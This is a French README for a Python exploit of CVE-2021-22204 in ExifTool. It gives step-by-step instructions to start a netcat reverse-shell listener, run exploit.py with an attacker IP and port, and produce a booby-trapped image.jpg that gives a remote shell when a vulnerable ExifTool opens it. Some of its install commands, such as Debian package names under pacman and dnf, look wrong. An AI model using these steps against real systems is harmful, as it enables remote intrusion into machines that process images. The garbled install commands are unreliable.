CVE-2021-22204-exiftool

Exploit Python pour la vulnérabilité CVE-2021-22204 dans Exiftool.

Tutoriel vidéo

Youtube

    404 introuvable

Prérequis

python3 python3-pip djvulibre-bin exiftool

Installer les prérequis

Debian

    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

Ubuntu

    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

Arch Linux

    pacman -S djvulibre libimage-exiftool-perl python python-pip

Kali Linux

    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

Fedora

    dnf install djvulibre libimage-exiftool-perl python-minimal python-pip

OS X

    brew install djvulibre exiftool python

Raspbian

    apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip

Comment exécuter :

Installer les prérequis Python

    sudo pip install -r requirements.txt

Démarrer un reverse shell avec netcat

    nc -nvlp 4444

Donner la permission d'exécution

    chmod +x exploit.py

Exécuter le programme

    python3 exploit.py {Votre adresse IP} {Votre port d'écoute} 
    

OU

    ./exploit.py {Votre adresse IP} {Votre port d'écoute}

Exemple

    python3 exploit.py 192.168.0.1 4444
    

OU

    ./exploit.py 192.168.0.1 4444

Le nom du fichier de sortie est

    image.jpg
    

À propos de la vulnérabilité

La CVE-2021-22204 a été découverte et signalée par William Bowling. (@wcbowling)

Cet exploit a été créé en étudiant le correctif d'exiftool après que la CVE ait déjà été signalée.

Et le fichier image.jpg déclenchera la vulnérabilité lorsqu'il sera ouvert avec une version vulnérable d'exiftool.